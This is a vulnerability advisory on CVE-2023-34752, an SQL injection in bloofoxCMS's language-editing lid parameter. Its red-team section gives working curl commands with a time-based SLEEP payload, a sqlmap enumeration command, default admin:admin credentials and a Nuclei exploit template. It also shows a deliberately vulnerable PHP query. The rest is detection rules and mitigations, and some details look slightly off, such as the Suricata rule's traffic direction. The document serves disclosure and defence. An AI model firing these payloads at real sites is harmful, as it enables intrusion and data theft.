CVE-2023-34752

Executive Summary

CVE-2023-34752 is a critical SQL injection vulnerability discovered in bloofoxCMS version 0.5.2.1. The flaw resides in the lid parameter within the language settings editing functionality at /admin/index.php?mode=settings&page=lang&action=edit. An authenticated attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The vulnerability has a CVSS score of 9.8 (Critical) and a public proof-of-concept (PoC) exploit is available via a Nuclei template. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone PHP CMS application. The risk is primarily for organizations self-hosting bloofoxCMS. No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (authentication is required, but the vector assumes no privileges for the initial access; however, exploitation requires admin login)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• EPSS Score: 0.30198 (30.2% probability of exploitation in the wild)
• EPSS Percentile: 96.7th percentile (highly likely to be exploited)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the lid parameter during the language editing process. The application fails to sanitize or parameterize user input before constructing SQL queries. An authenticated attacker can manipulate the lid parameter to inject malicious SQL payloads.

Root Cause: The lid parameter is directly concatenated into a SQL query without proper escaping or prepared statements. For example, the vulnerable code might look like:

$lid = $_POST['lid'];
$query = "UPDATE languages SET name='$name' WHERE lid=$lid";

Exploitation Mechanics: The attacker can inject a time-based blind SQLi payload (as seen in the Nuclei template) to extract data character by character. The payload ' AND (SELECT 7401 FROM (SELECT(SLEEP(6)))hwrS)-- causes a 6-second delay if the injection is successful.

Attack Flow:

1. Attacker authenticates to the admin panel.
2. Navigates to index.php?mode=settings&page=lang&action=edit.
3. Sends a POST request with a malicious lid parameter.
4. The injected SQL executes, allowing data extraction or manipulation.

Vulnerable vs. Patched Code

Vulnerable Code (bloofoxCMS 0.5.2.1):

// Vulnerable: direct concatenation
$lid = $_POST['lid'];
$query = "UPDATE languages SET name='$name' WHERE lid=$lid";
$result = mysqli_query($conn, $query);

Patched Code (hypothetical):

// Patched: using prepared statements
$stmt = $conn->prepare("UPDATE languages SET name=? WHERE lid=?");
$stmt->bind_param("si", $name, $lid);
$stmt->execute();

No official patch is available. The vendor has not released a fixed version.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a bloofoxCMS 0.5.2.1 instance.
• Valid admin credentials (e.g., admin:admin).

Exploitation Steps:

1. Authenticate:

   curl -c cookies.txt -X POST http://target/admin/index.php \
     -d "username=admin&password=admin&action=login"
   

2. Trigger SQL Injection (Time-based):

   curl -b cookies.txt -X POST "http://target/admin/index.php?mode=settings&page=lang&action=edit" \
     -d "name=English&flag=en.gif&filename=english.php&date=m%2Fd%2FY&datetime=m%2Fd%2FY+-+H%3Ai&token=en&lid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save"
   

3. Extract Data (Example - extract admin password hash):

   # Use sqlmap for automated extraction
   sqlmap -u "http://target/admin/index.php?mode=settings&page=lang&action=edit" \
     --cookie="PHPSESSID=..." --data="lid=1&send=Save" --batch --dbs
   

Nuclei Template (Provided):

id: CVE-2023-34752

info:
  name: bloofoxCMS v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the lid parameter at admin/index.php?mode=settings&page=lang&action=edit.
  impact: |
    Authenticated attackers can exploit SQL injection through the lid parameter in language settings to extract database contents, manipulate CMS data, and potentially execute commands on the underlying database server.
  remediation: |
    Update bloofoxCMS to a version newer than 0.5.2.1 that uses parameterized queries or prepared statements for the lid parameter in admin/index.php language editing functionality.
  reference:
    - https://www.bloofox.com
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34752
    - http://bloofoxcms.com
    - https://www.bloofox.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34752
    cwe-id: CWE-89
    epss-score: 0.30198
    epss-percentile: 0.96697
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=settings&page=lang&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=English&flag=en.gif&filename=english.php&date=m%2Fd%2FY&datetime=m%2Fd%2FY+-+H%3Ai&token=en&lid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - contains(header_2, "text/html")
          - contains(body_2, 'bloofoxCMS Admincenter')
        condition: and
# digest: 4a0a00473045022100d0b247bacd5c1edb3acc53582cba304e07f80d023f79efdf2f4282b731f44eff022020ad5b271dc0422e4f2fef1362673d2ed4537b42f503a9675cd5400a72af6358:922c64590222798bb761d5b6d8e72950

Blue Team

Detection Steps:

1. Monitor for POST requests to /admin/index.php?mode=settings&page=lang&action=edit with suspicious lid parameters (e.g., containing SQL keywords like AND, OR, SLEEP, UNION).
2. Look for time-based anomalies: requests that take significantly longer than normal (e.g., >5 seconds).
3. Check database logs for unexpected queries or errors.

Honeypot Setup:

• Deploy a bloofoxCMS instance with logging enabled.
• Monitor the lid parameter for injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin/index.php?mode=settings&page=lang&action=edit with lid parameter containing SQL injection patterns.
  • HTTP responses with duration>=6 seconds (time-based SQLi).
• File IOCs:
  • Unusual entries in database logs (e.g., SLEEP(6) in queries).
• System IOCs:
  • Unexpected database dumps or large outbound data transfers.
  • New admin accounts or modified language settings.

Detection Engineering

YARA Rule

rule CVE_2023_34752_SQLi_Detection {
  meta:
    description = "Detects SQL injection attempts targeting CVE-2023-34752 in bloofoxCMS"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-34752"
  strings:
    $sqli1 = "lid=" nocase
    $sqli2 = "SLEEP(" nocase
    $sqli3 = "AND (SELECT" nocase
    $sqli4 = "OR (SELECT" nocase
    $sqli5 = "UNION SELECT" nocase
    $sqli6 = "admin/index.php?mode=settings&page=lang&action=edit" nocase
  condition:
    all of ($sqli1, $sqli6) and 1 of ($sqli2, $sqli3, $sqli4, $sqli5)
}

Sigma Rule

title: CVE-2023-34752 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against bloofoxCMS language settings
author: Valters IT
date: 2025/04/10
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2023-34752
logsource:
  category: webserver
  product: apache
  service: access_combined
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: 'mode=settings&page=lang&action=edit'
    cs-uri-query|contains: 'lid='
  keywords:
    - 'SLEEP('
    - 'AND (SELECT'
    - 'OR (SELECT'
    - 'UNION SELECT'
  condition: selection and keywords
falsepositives:
  - Legitimate use of the word 'sleep' in a language name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2023-34752 SQL Injection Attempt - bloofoxCMS";
  flow:to_server,established;
  content:"POST";
  http_method;
  content:"/admin/index.php";
  http_uri;
  content:"mode=settings&page=lang&action=edit";
  http_uri;
  content:"lid=";
  http_client_body;
  pcre:"/(SLEEP\(|AND \(SELECT|OR \(SELECT|UNION SELECT)/i";
  classtype:web-application-attack;
  sid:10000001;
  rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the bloofoxCMS instance from the internet if possible.
2. Restrict admin panel access to trusted IPs only.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no official patch exists, consider migrating to a supported CMS.
• If migration is not possible, apply a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection patterns in the lid parameter.
• Manually fix the code by replacing direct SQL concatenation with prepared statements (see patched code example above).

WAF Rule (ModSecurity):

SecRule REQUEST_FILENAME "/admin/index\.php" \
  "chain,id:1001,deny,msg:'CVE-2023-34752 SQL Injection'"
SecRule ARGS:lid "@rx (SLEEP\(|AND \(SELECT|OR \(SELECT|UNION SELECT)" \
  "t:urlDecodeUni"

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: E6F11F908F15AB99251A887D] */}